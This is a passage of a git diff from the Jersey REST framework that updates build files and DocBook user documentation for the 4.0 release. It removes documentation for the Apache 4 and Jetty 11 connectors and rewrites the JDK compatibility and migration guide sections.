         final int scannedEntries = countJarEntriesUsingScanner("", true);
         assertThat("Failed to enumerate all contents of jakarta.ws.rs-api", scannedEntries, equalTo(actualEntries));
     }
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/model/ExceptionMapperPriorityTest.java b/core-server/src/test/java/org/glassfish/jersey/server/model/ExceptionMapperPriorityTest.java
index 8bed349..6ca93ad 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/model/ExceptionMapperPriorityTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/model/ExceptionMapperPriorityTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,8 @@
 
 package org.glassfish.jersey.server.model;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.ExceptionMapperFactory;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
diff --git a/docs/pom.xml b/docs/pom.xml
index 8778758..367559b 100644
--- a/docs/pom.xml
+++ b/docs/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <artifactId>jersey-documentation</artifactId>
     <packaging>pom</packaging>
diff --git a/docs/src/main/docbook/appendix-properties.xml b/docs/src/main/docbook/appendix-properties.xml
index 4294bae..886df2f 100644
--- a/docs/src/main/docbook/appendix-properties.xml
+++ b/docs/src/main/docbook/appendix-properties.xml
@@ -1202,12 +1202,11 @@
                         <entry>
                             <para>
                                 URI of a HTTP proxy the client connector should use. Default value is not set.
-                                <emphasis>Currently supported with &jersey.apache.ApacheConnectorProvider;,
+                                <emphasis>Currently supported with
                                     &jersey.apache5.Apache5ConnectorProvider;,
                                     &jersey.grizzly.GrizzlyConnectorProvider;,
                                     &jersey.helidon.HelidonConnectorProvider;,
-                                    &jersey.netty.NettyConnectorProvider;,
-                                    &jersey.jetty11.Jetty11ConnectorProvider;, and
+                                    &jersey.netty.NettyConnectorProvider;, and
                                     &jersey.jetty.JettyConnectorProvider; only.</emphasis>
                             </para>
                         </entry>
@@ -1512,303 +1511,6 @@
 
 
     </section>
-    <section xml:id="appendix-properties-client-default">
-        <title>The default HttpUrlConnector properties</title>
-        <para>
-            List of properties defined in &jersey.client.HttpUrlConnectorProvider; class.
-        </para>
-
-        <table>
-            <title>List of the default &jersey.client.HttpUrlConnectorProvider; properites</title>
-            <tgroup cols="3">
-                <thead>
-                    <row>
-                        <entry>Constant</entry>
-                        <entry>Value</entry>
-                        <entry>Description</entry>
-                    </row>
-                </thead>
-                <tbody>
-                    <row>
-                        <entry>&jersey.client.HttpUrlConnectorProvider.SET_METHOD_WORKAROUND;</entry>
-                        <entry><literal>jersey.config.client.httpUrlConnection.setMethodWorkaround</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.true; declares that the client will try to set
-                                unsupported HTTP method to <literal>java.net.HttpURLConnection</literal> via
-                                reflection as a workaround for a missing HTTP method.
-                            </para>
-                            <para>
-                                NOTE: Enabling this property may cause security related warnings/errors
-                                and it may break when other JDK implementation is used. <emphasis>Use only
-                                when you know what you are doing.</emphasis>
-                            </para>
-                            <para>
-                                The value MUST be an instance of &lit.jdk6.Boolean;. The default value is &lit.false;.
-                            </para>
-                            <para>Since JDK 16 the JDK internal classes are not opened for reflection and the workaround method
-                                does not work, unless <literal>--add-opens java.base/java.net=ALL-UNNAMED</literal> for HTTP
-                                requests and additional <literal>--add-opens java.base/sun.net.www.protocol.https=ALL-UNNAMED</literal>
-                                for HTTPS (<literal>javax.net.ssl.HttpsUrlConnection</literal>) options are set.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.client.HttpUrlConnectorProvider.USE_FIXED_LENGTH_STREAMING;</entry>
-                        <entry><literal>jersey.config.client.httpUrlConnector.useFixedLengthStreaming</literal></entry>
-                        <entry>
-                            <para>
-                                If &lit.true;, the &lit.jersey.client.HttpUrlConnector; (if used) will assume the content length
-                                from the value of <literal>jakarta.ws.rs.core.HttpHeaders#CONTENT_LENGTH</literal> request
-                                header (if present).
-                            </para>
-                            <para>
-                                When this property is enabled and the request has a valid non-zero content length
-                                value specified in its <literal>jakarta.ws.rs.core.HttpHeaders#CONTENT_LENGTH</literal> request
-                                header, that this value will be used as an input to the
-                                <literal>java.net.HttpURLConnection#setFixedLengthStreamingMode(int)</literal> method call
-                                invoked on the underlying <literal>java.net.HttpURLConnection</literal>.
-                                This will also suppress the entity buffering in the <literal>HttpURLConnection</literal>,
-                                which is undesirable in certain scenarios, e.g. when streaming large entities.
-                            </para>
-                            <para>
-                                Note that the content length value defined in the request header must exactly match
-                                the real size of the entity. If the <literal>jakarta.ws.rs.core.HttpHeaders#CONTENT_LENGTH</literal>
-                                header is explicitly specified in a request, this property will be ignored and the
-                                request entity will be still buffered by the underlying <literal>HttpURLConnection</literal> infrastructure.
-                            </para>
-                            <para>
-                                This property also overrides the behaviour enabled by the &jersey.client.ClientProperties.CHUNKED_ENCODING_SIZE;
-                                property. Chunked encoding will only be used, if the size is not specified in the header of the request.
-                            </para>
-                            <para>
-                                Note that this property only applies to client run-times that are configured to use the default
-                                &lit.jersey.client.HttpUrlConnector; as the client connector. The property is ignored by other connectors.
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                </tbody>
-            </tgroup>
-        </table>
-    </section>
-    <section xml:id="appendix-properties-client-apache">
-        <title>Apache HTTP client configuration properties</title>
-
-        <para>
-            List of client configuration properties that can be found in &jersey.apache.ApacheClientProperties; class.
-        </para>
-
-        <table>
-            <title>List of Apache HTTP client configuration properties</title>
-            <tgroup cols="3">
-                <thead>
-                    <row>
-                        <entry>Constant</entry>
-                        <entry>Value</entry>
-                        <entry>Description</entry>
-                    </row>
-                </thead>
-                <tbody>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.CONNECTION_CLOSING_STRATEGY;</entry>
-                        <entry><literal>jersey.config.apache.client.connectionClosingStrategy</literal></entry>
-                        <entry>
-                            <para>
-                                Strategy that closes the Apache Connection.
-                                Accepts an instance of &jersey.apache.ApacheConnectionClosingStrategy;.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.CONNECTION_MANAGER;</entry>
-                        <entry><literal>jersey.config.apache.client.connectionManager</literal></entry>
-                        <entry>
-                            <para>
-                                Connection Manager which will be used to create
-                                <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.conn.HttpClientConnectionManager</literal>
-                            </para>
-                            <para>
-                                If the property is absent a default Connection Manager will be used
-                                <literal>org.apache.http.impl.conn.BasicHttpClientConnectionManager</literal>.
-                                If you want to use this client in multi-threaded environment, be sure you override default value with
-                                <literal>org.apache.http.impl.conn.PoolingHttpClientConnectionManager</literal> instance.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.CONNECTION_MANAGER_SHARED;</entry>
-                        <entry><literal>jersey.config.apache.client.connectionManagerShared</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.true; indicates that configured connection manager should be shared
-                                among multiple Jersey client runtime instances. It means that closing
-                                a particular client runtime instance does not shut down the underlying
-                                connection manager automatically. In such case, the connection manager life-cycle
-                                should be fully managed by the application code. To release all allocated resources,
-                                caller code should especially ensure
-                                <literal>org.apache.http.conn.HttpClientConnectionManager#shutdown()</literal> gets
-                                invoked eventually.
-                            </para>
-                            <para>
-                                This property may only be set prior to constructing Apache connector using
-                                &jersey.apache.ApacheConnectorProvider;
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>java.lang.Boolean</literal>.
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.CREDENTIALS_PROVIDER;</entry>
-                        <entry><literal>jersey.config.apache.client.credentialsProvider</literal></entry>
-                        <entry>
-                            <para>
-                                The credential provider that should be used to retrieve
-                                credentials from a user. Credentials needed for proxy authentication
-                                are stored here as well.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.client.CredentialsProvider</literal>.
-                            </para>
-                            <para>
-                                If the property is absent a default provider will be used.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.DISABLE_COOKIES;</entry>
-                        <entry><literal>jersey.config.apache.client.handleCookies</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.false; indicates the client should handle cookies
-                                automatically using HttpClient's default cookie policy. A value
-                                of &lit.true; will cause the client to ignore all cookies.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>java.lang.Boolean</literal>.
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.KEEPALIVE_STRATEGY;</entry>
-                        <entry><literal>jersey.config.apache.client.keepAliveStrategy</literal></entry>
-                        <entry>
-                            <para>
-                                Apache <literal>ConnectionKeepAliveStrategy</literal> for the
-                                <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.conn.ConnectionKeepAliveStrategy</literal>.
-                            </para>
-                            <para>
-                                If the property is absent the default keepalive strategy of the Apache HTTP library will be used.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION;</entry>
-                        <entry><literal>jersey.config.apache.client.preemptiveBasicAuthentication</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.true; indicates that a client should send an
-                                authentication request even before the server gives a 401
-                                response.
-                            </para>
-                            <para>
-                                This property may only be set prior to constructing Apache connector using
-                                &jersey.apache.ApacheConnectorProvider;.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>java.lang.Boolean</literal>.
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.REQUEST_CONFIG;</entry>
-                        <entry><literal>jersey.config.apache.client.requestConfig</literal></entry>
-                        <entry>
-                            <para>
-                                Request configuration for the <literal>org.apache.http.client.HttpClient</literal>.
-                                Http parameters which will be used to create <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.client.config.RequestConfig</literal>.
-                            </para>
-                            <para>
-                                If the property is absent the default request configuration will be used.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.RETRY_HANDLER;</entry>
-                        <entry><literal>jersey.config.apache.client.retryHandler</literal></entry>
-                        <entry>
-                            <para>
-                                Apache <literal>HttpRequestRetryHandler</literal> which will be used to create
-                                <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.client.HttpRequestRetryHandler</literal>.
-                            </para>
-                            <para>
-                                If the property is absent a default retry handler will be used
-                                (<literal>org.apache.http.impl.client.DefaultHttpRequestRetryHandler</literal>).
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.REUSE_STRATEGY;</entry>
-                        <entry><literal>jersey.config.apache.client.reuseStrategy</literal></entry>
-                        <entry>
-                            <para>
-                               Apache <literal>ConnectionReuseStrategy</literal> for the
-                                <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.ConnectionReuseStrategy</literal>.
-                            </para>
-                            <para>
-                                If the property is absent the default reuse strategy of the Apache HTTP library will be used.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.USE_SYSTEM_PROPERTIES;</entry>
-                        <entry><literal>jersey.config.apache.client.useSystemProperties</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.false; indicates the client will use default Apache &lit.jersey.client.Connector;
-                                params. A value of &lit.true; will cause the client to take into account the system properties
-                                <literal>https.protocols</literal>, <literal>https.cipherSuites</literal>,
-                                <literal>http.keepAlive</literal>, <literal>http.maxConnections</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of &lit.jdk6.Boolean;
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                </tbody>
-            </tgroup>
-        </table>
-    </section>
     <section xml:id="appendix-properties-client-apache5">
         <title>Apache 5 HTTP client configuration properties</title>
 
@@ -2389,7 +2091,6 @@
                                 Parameter which allows extending of the header size for the Netty connector
 
                                 Default header size is 8192b.
-                                <literal>Since 2.44</literal>
                             </para>
                         </entry>
                     </row>
@@ -2401,7 +2102,6 @@
                                 Parameter which allows extending of the chunk size for the Netty connector
 
                                 Default chunk size is 8192b.
-                                <literal>Since 2.44</literal>
                             </para>
                         </entry>
                     </row>
@@ -2413,7 +2113,6 @@
                                 Parameter which allows extending of the initial line length for the Netty connector
 
                                 Default initial line length is 4096b.
-                                <literal>Since 2.44</literal>
                             </para>
                         </entry>
                     </row>
diff --git a/docs/src/main/docbook/client.xml b/docs/src/main/docbook/client.xml
index bfda0f5..390b9a3 100644
--- a/docs/src/main/docbook/client.xml
+++ b/docs/src/main/docbook/client.xml
@@ -641,11 +641,6 @@
                             <entry><literal>org.glassfish.jersey.connectors:jersey-grizzly-connector</literal></entry>
                         </row>
                         <row>
-                            <entry>Apache HTTP client</entry>
-                            <entry>&jersey.apache.ApacheConnectorProvider;</entry>
-                            <entry><literal>org.glassfish.jersey.connectors:jersey-apache-connector</literal></entry>
-                        </row>
-                        <row>
                             <entry>Apache 5 HTTP client</entry>
                             <entry>&jersey.apache5.Apache5ConnectorProvider;</entry>
                             <entry><literal>org.glassfish.jersey.connectors:jersey-apache5-connector</literal></entry>
@@ -656,21 +651,11 @@
                             <entry><literal>org.glassfish.jersey.connectors:jersey-helidon-connector</literal></entry>
                         </row>
                         <row>
-                            <entry>Jetty HTTP client (JDK 17+)</entry>
+                            <entry>Jetty HTTP client</entry>
                             <entry>&jersey.jetty.JettyConnectorProvider;</entry>
                             <entry><literal>org.glassfish.jersey.connectors:jersey-jetty-connector</literal></entry>
                         </row>
                         <row>
-                            <entry>Jetty 11.x HTTP client</entry>
-                            <entry>&jersey.jetty11.Jetty11ConnectorProvider;</entry>
-                            <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-connector</literal></entry>
-                        </row>
-                        <row>
-                            <entry>Jetty 11.x HTTP/2 client</entry>
-                            <entry>&jersey.jetty11.Jetty11Http2ConnectorProvider;</entry>
-                            <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-http2-connector</literal></entry>
-                        </row>
-                        <row>
                             <entry>Netty NIO framework</entry>
                             <entry>&jersey.netty.NettyConnectorProvider;</entry>
                             <entry><literal>org.glassfish.jersey.connectors:jersey-netty-connector</literal></entry>
@@ -828,29 +813,6 @@
                 for Jetty HTTP Client, it is possible to access directly the HTTP Client classes and invoke setter methods there.
             </para>
             <section>
-                <title>Apache HttpClientBuilder Configuration</title>
-                <para>
-                    For Apache Connector, an &jersey.apache.ApacheHttpClientBuilderConfigurator; SPI allows for invoking methods
-                    of <literal>org.apache.http.impl.client.HttpClientBuilder</literal>, such as <literal>setDefaultCredentialsProvider</literal>:
-                    <programlisting language="java" linenumbering="numbered">
-                        org.apache.http.client.CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-                        credentialsProvider.setCredentials(
-                            org.apache.http.auth.AuthScope.ANY,
-                            new org.apache.http.auth.UsernamePasswordCredentials("name", "password")
-                        );
-                        ApacheHttpClientBuilderConfigurator apacheHttpClientBuilderConfigurator = (httpClientBuilder) -> {
-                            return httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider);
-                        };
-
-                        ClientConfig cc = new ClientConfig();
-                        cc.register(apacheHttpClientBuilderConfigurator);
-                        cc.connectorProvider(new ApacheConnectorProvider());
-                        Client client = ClientBuilder.newClient(cc);
-                        ...
-                    </programlisting>
-                </para>
-            </section>
-            <section>
                 <title>Apache 5 HttpClientBuilder Configuration</title>
                 <para>
                     For Apache 5 Connector, an &jersey.apache5.Apache5HttpClientBuilderConfigurator; SPI allows for invoking methods
@@ -888,21 +850,6 @@
                     </programlisting>
                 </para>
             </section>
-            <section>
-                <title>Jetty 11.x HttpClient Configuration</title>
-                <para>
-                    For Jetty Connector, an &jersey.jetty11.Jetty11HttpClientSupplier; SPI allows for providing a configured instance
-                    of <literal>org.eclipse.jetty.client.HttpClient</literal>:
-                    <programlisting language="java" linenumbering="numbered">
-                        HttpClient httpClient = new HttpClient(...);
-                        ClientConfig clientConfig = new ClientConfig()
-                            .connectorProvider(new Jetty11ConnectorProvider())
-                            .register(new Jetty11HttpClientSupplier(httpClient));
-                        Client client = ClientBuilder.newClient(clientConfig);
-                        ...
-                    </programlisting>
-                </para>
-            </section>
         </section>
     </section>
 
diff --git a/docs/src/main/docbook/dependencies.xml b/docs/src/main/docbook/dependencies.xml
index 8037dc9..5b81a58 100644
--- a/docs/src/main/docbook/dependencies.xml
+++ b/docs/src/main/docbook/dependencies.xml
@@ -33,17 +33,15 @@
         <title>Java SE Compatibility</title>
 
         <para>
-            <emphasis>3.1 branch: </emphasis>
+            <emphasis>4.0 branch: </emphasis>
             <itemizedlist>
                 <listitem>
-                    <para>This user guide refers only to version 3.1.x of Jersey, its compatibility is described below.</para>
+                    <para>This user guide refers only to version 4.0.x of Jersey, its compatibility is described below.</para>
                 </listitem>
                 <listitem>
-                    <para>Since version 3.1.0 all Jersey components are compiled with Java SE 11 target.
+                    <para>Since version 4.0.0 all Jersey components are compiled with Java SE 17 target.
                         It means, that you will need at least Java SE 11 to be able to compile and run your application
-                        which uses the latest Jersey 3.1.x.
-                        Some modules, however, are fully compatible with JDK 17 and above (Jetty modules based on Jetty 12
-                        [since 3.1.4], Helidon Connector, Spring 6).
+                        which uses the latest Jersey 4.0.x.
                     </para>
                 </listitem>
                 <listitem>
@@ -53,7 +51,7 @@
                 </listitem>
             </itemizedlist>
             <table pgwide="1" frame='all' xml:id="jersey-jdk-compatibility">
-                <title>Jersey 3.1.x JDK compatibility</title>
+                <title>Jersey 4.0.x JDK compatibility</title>
                 <tgroup cols='3' align='center' colsep='1' rowsep='1'>
                     <colspec colname='c1'/>
                     <colspec colname='c2'/>
@@ -66,14 +64,7 @@
                         </row>
                     </thead>
                     <tbody>
-                        <row><entry>3.1.0</entry><entry>11</entry><entry>19</entry></row>
-                        <row><entry>3.1.1</entry><entry>11</entry><entry>19</entry></row>
-                        <row><entry>3.1.2</entry><entry>11</entry><entry>21</entry></row>
-                        <row><entry>3.1.3</entry><entry>11</entry><entry>21</entry></row>
-                        <row><entry>3.1.4</entry><entry>11</entry><entry>22</entry></row>
-                        <row><entry>3.1.5</entry><entry>11</entry><entry>22</entry></row>
-                        <row><entry>3.1.6</entry><entry>11</entry><entry>23</entry></row>
-                        <row><entry>3.1.7</entry><entry>11</entry><entry>23</entry></row>
+                        <row><entry>4.0.0</entry><entry>17</entry><entry>23</entry></row>
                     </tbody>
                 </tgroup>
             </table>
@@ -81,7 +72,7 @@
         <section>
             <title>Virtual Threads and Thread Factories</title>
             <para>
-                With JDK 21 and above, Jersey (since 2.44) has the ability to use virtual threads instead of
+                With JDK 21 and above, Jersey has the ability to use virtual threads instead of
                 the <literal>CachedThreadPool</literal> in the internal <literal>ExecutorServices</literal>.
                 Jersey also has the ability to specify the backing <literal>ThreadFactory</literal> for the
                 default <literal>ExecutorServices</literal> (the default <literal>ExecutorServices</literal>
@@ -204,16 +195,10 @@
 
 &lt;dependency&gt;
     &lt;groupId&gt;org.glassfish.jersey.connectors&lt;/groupId&gt;
-    &lt;artifactId&gt;jersey-apache-connector&lt;/artifactId&gt;
+    &lt;artifactId&gt;jersey-apache5-connector&lt;/artifactId&gt;
     &lt;version&gt;&version;&lt;/version&gt;
 &lt;/dependency&gt;
 &lt;dependency&gt;
-    &lt;groupId&gt;org.glassfish.jersey.connectory&lt;/groupId&gt;
-    &lt;artifactId&gt;jersey-jetty11-connector&lt;/artifactId&gt;
-    &lt;version&gt;&version;&lt;/version&gt;
-&lt;/dependency&gt;
-<!-- Requires JDK 17+ -->
-&lt;dependency&gt;
     &lt;groupId&gt;org.glassfish.jersey.connectors&lt;/groupId&gt;
     &lt;artifactId&gt;jersey-jetty-connector&lt;/artifactId&gt;
     &lt;version&gt;&version;&lt;/version&gt;
@@ -250,12 +235,6 @@
 
 &lt;dependency&gt;
     &lt;groupId&gt;org.glassfish.jersey.containers&lt;/groupId&gt;
-    &lt;artifactId&gt;jersey-container-simple-http&lt;/artifactId&gt;
-    &lt;version&gt;&version;&lt;/version&gt;
-&lt;/dependency&gt;
-
-&lt;dependency&gt;
-    &lt;groupId&gt;org.glassfish.jersey.containers&lt;/groupId&gt;
     &lt;artifactId&gt;jersey-container-jetty-http&lt;/artifactId&gt;
     &lt;version&gt;&version;&lt;/version&gt;
 &lt;/dependency&gt;
diff --git a/docs/src/main/docbook/migration.xml b/docs/src/main/docbook/migration.xml
index 03f7b61..e2b39af 100644
--- a/docs/src/main/docbook/migration.xml
+++ b/docs/src/main/docbook/migration.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,127 +28,88 @@
          xml:id="migration">
     <title>Migration Guide</title>
 
-    <section xml:id="mig-3.0.0">
-        <title>Migrating from Jersey 2.32+ to 3.0.x.</title>
-        <section xml:id="mig-3.0.0-breaking-changes">
+    <section xml:id="mig-4.0.0">
+        <title>Migrating from Jersey 3.x to 4.0.x.</title>
+        <section xml:id="mig-4.0.0-breaking-changes">
             <title>Breaking Changes</title>
             <para>
                 <itemizedlist>
                     <listitem>
                         <para>
-                            The most fundamental change in Jersey 3.0.0 and later is namespace change.
-                            Since Jakarta EE 9 the <literal>jakarta.</literal> namespace is introduced as a replacement
-                            for javax namespace from Java EE.
+                            Jersey 4.x is implementation of Jakarta REST 4.0, part of Jakarta EE 11.
+                            For APIs and implementations in Jakarta EE 11, JDK 17 minimum is required.
+                            However, some modules may require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
                         </para>
                     </listitem>
                     <listitem>
                         <para>
-                            Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
+                            Jakarta REST 4.0 dropped classes bound to JAX-B, since JAX-B has been removed from Jakarta EE 11 Core
+                            profile. These classes were <literal>jakarta.ws.rs.core.Link.JaxbLink</literal> and
+                            <literal>jakarta.ws.rs.core.Link.JaxbAdapter</literal> along with related methods working with these
+                            classes.
                         </para>
                     </listitem>
                     <listitem>
                         <para>
-                            Examples and tests are reduced in quantity (so you probably will not find all those examples which were available
-                            in the 2.32 version).
+                            Some modules supporting obsolete libraries were dropped.
+                            The Apache 4 HTTP Client supported by <literal>jersey-apache-connector</literal>
+                            is replaced by <literal>jersey-apache5-connector</literal>, using the Apache 5 HTTP Client.
+                        </para>
+                        <para>
+                            <literal>jersey-jetty11-connector</literal> based on Jetty 11 HTTP Client has been dropped, with
+                            <literal>jersey-jetty-connector</literal> based on Jetty 12 HTTP Client as a replacement.
+                        </para>
+                        <para>The same with <literal>jersey-container-jetty11-http</literal> with <literal>jersey-container-jetty-http</literal>
+                            atop Jetty 12 as a replacement.
+                        </para>
+                        <para>
+                            <literal>jersey-container-simple-http</literal> module was removed without a replacement.
+                        </para>
+                    </listitem>
+                    <listitem>
+                        <para>Given JDK 17 does not allow reflection on JDK internal classes, it is no longer possible
+                            to support additional HTTP methods with the default <literal>HttpUrlConnector</literal>, such as popular
+                            HTTP Patch.
                         </para>
                     </listitem>
                     <listitem>
                         <para>
-                            &jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE; is by default
-                            <literal>true</literal>.
+                            Jersey 4.x still uses HK2 as a main DI framework. However, in the future releases (5.x+), the main
+                            DI container would be the CDI container. In CDI, it is not possible to register beans in the injection
+                            container in runtime the way it is possible in HK2 using AbstractBinder; the
+                            &jersey.common.internal.inject.AbstractBinder; is moved to the <literal>jersey-hk2</literal> package.
+                            Also, a releated <literal>org.glassfish.jersey.internal.inject.Bindings</literal> class was moved
+                            into the same package. A few internal <literal>Binding</literal> subclasses and related Jersey
+                            most innate classes are hidden from public usage.
+                            See Section <xref linkend="ioc"/>.
+                        </para>
+                    </listitem>
+                    <listitem>
+                        <para>
+                            Jersey stopped providing jersey as a bundle, known as <literal>jaxrs-ri</literal>. Jersey jars used
+                            in the bundle was only a subset of possibilities Jersey provides with a variety of modules each of
+                            which handles an additional customer use-case. Some modules are not designed to be together on a
+                            classpath with a module from the <literal>jaxrs-ri</literal> bundle and that has been leading to a confusion.
+                        </para>
+                        <para>
+                            The <literal>jaxrs-ri</literal> bundle also contained third party libraries with a different licensing
+                            than Jersey, which also led to a confusion about whole <literal>jaxrs-ri</literal> bundle and
+                            Jersey itself license.
                         </para>
                     </listitem>
                 </itemizedlist>
             </para>
         </section>
-        <section xml:id="mig-3.0.0-removed-deprecated">
-            <title>Removed deprecated APIs</title>
-            <para>
-                <itemizedlist>
-                    <listitem>
-                        <para>
-                            Jackson 1 support was removed.
-                        </para>
-                    </listitem>
-                </itemizedlist>
-            </para>
-        </section>
-        <section xml:id="mig-3.0.0-application-servers">
+        <section xml:id="mig-4.0.0-application-servers">
             <title>Application servers for Jersey</title>
             <para>
-                Note that only a few servers support Jakarta EE 9 compatible Servlet API and they are tested with Jersey.
+                Note that only a few servers support Jakarta EE 11 compatible Servlet API and they are tested with Jersey.
                 Those are:
-                <literal>GlassFish 6</literal>,
-                <literal>Grizzly 3</literal>,
-                <literal>Jetty 11 (JDK 11+ required)</literal>,
-                <literal>Payara 6</literal>, and
-                <literal>Tomcat 10</literal>.
+                <literal>GlassFish 8</literal>,
+                <literal>Tomcat 11</literal>.
+                The other containers will follow.
             </para>
         </section>
     </section>
-    <section xml:id="mig-3.1.0">
-        <title>Migrating from Jersey 3.0.x to &version;.</title>
-        <section xml:id="mig-3.1.0-breaking-changes">
-            <title>Breaking Changes</title>
-            <para>
-                <itemizedlist>
-                    <listitem>
-                        <para>
-                            Jersey 3.1.0+ is the implementation of Jakarta RESTful WebServices 3.1, which is part of
-                            Jakarta EE 10. Jakarta EE 10 defines the minimum JDK 11 requirement and hence Jersey no longer
-                            supports JDK 8.
-                        </para>
-                        <para>
-                            Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
-                        </para>
-                    </listitem>
-                    <listitem>
-                        <para>
-                            Since Jersey 3.1.0+ the <literal>getRequestHeader(String name)</literal> method of the
-                            <literal>ClientRequest</literal> class returns NULL (instead of an empty List) in case if
-                            the specified header does not exist.
-                        </para>
-                    </listitem>
-                </itemizedlist>
-            </para>
-        </section>
-        <section xml:id="mig-3.1.0-application-path">
-            <title>@ApplicationPath Annotation Support</title>
-            <para>
-                Jersey 3.1 supports <literal>@ApplicationPath</literal> annotation by every container, not only the
-                <literal>Servlet</literal> container. This can affect tests, as well as deployments to containers
-                where the annotation used to be ignored by previous versions of Jersey.
-            </para>
-        </section>
-        <section xml:id="mig-3.1.4-jetty-modules">
-            <title>Jetty Modules</title>
-            <itemizedlist>
-                <listitem>
-                    <para>
-                        Jersey 3.0.x, and 3.1.0 - 3.1.3 Jetty modules (jersey-jetty-connector, jersey-container-jetty-http,
-                        jersey-container-jetty-servlet, jersey-test-framework-provider-jetty) are based on Jetty 11,
-                        which is Jakarta EE 9 related.
-                    </para>
-                </listitem>
-                <listitem>
-                    <para>
-                        Jersey 3.1.4 modules use Jetty 12 which is Jakarta EE 10 related (as well as Jersey 3.1.x).
-                        Jetty 12 dependencies use modules names different from Jetty 11.
-                    </para>
-                </listitem>
-            </itemizedlist>
-        </section>
-        <section xml:id="mig-3.1.4">
-            <title>Migrating from Jersey 3.1.3 to 3.1.4</title>
-            <section xml:id="mig-3.1.4-jackson-changes">
-                <title>Changes in Jackson</title>
-                <para>
-                    Jersey 3.1.4 starts to support Jackson 2.15 which comes with default limitations for the length of parsed text,
-                    numbers, and nesting depth. Jersey keeps the Jackson default value, but it allows to override the maximum
-                    length of parsed text using the &jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH; property if needed.
-                </para>
-            </section>
-        </section>
-    </section>
 
 </chapter>
diff --git a/docs/src/main/docbook/modules.xml b/docs/src/main/docbook/modules.xml
index 8ce80ef..93dcc25 100644
--- a/docs/src/main/docbook/modules.xml
+++ b/docs/src/main/docbook/modules.xml
@@ -149,14 +149,6 @@
 </row>
 <row>
 <entry>
-<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-simple-http/dependencies.html">
-    jersey-container-simple-http
-</link>
-</entry>
-<entry>Simple Http Container</entry>
-</row>
-<row>
-<entry>
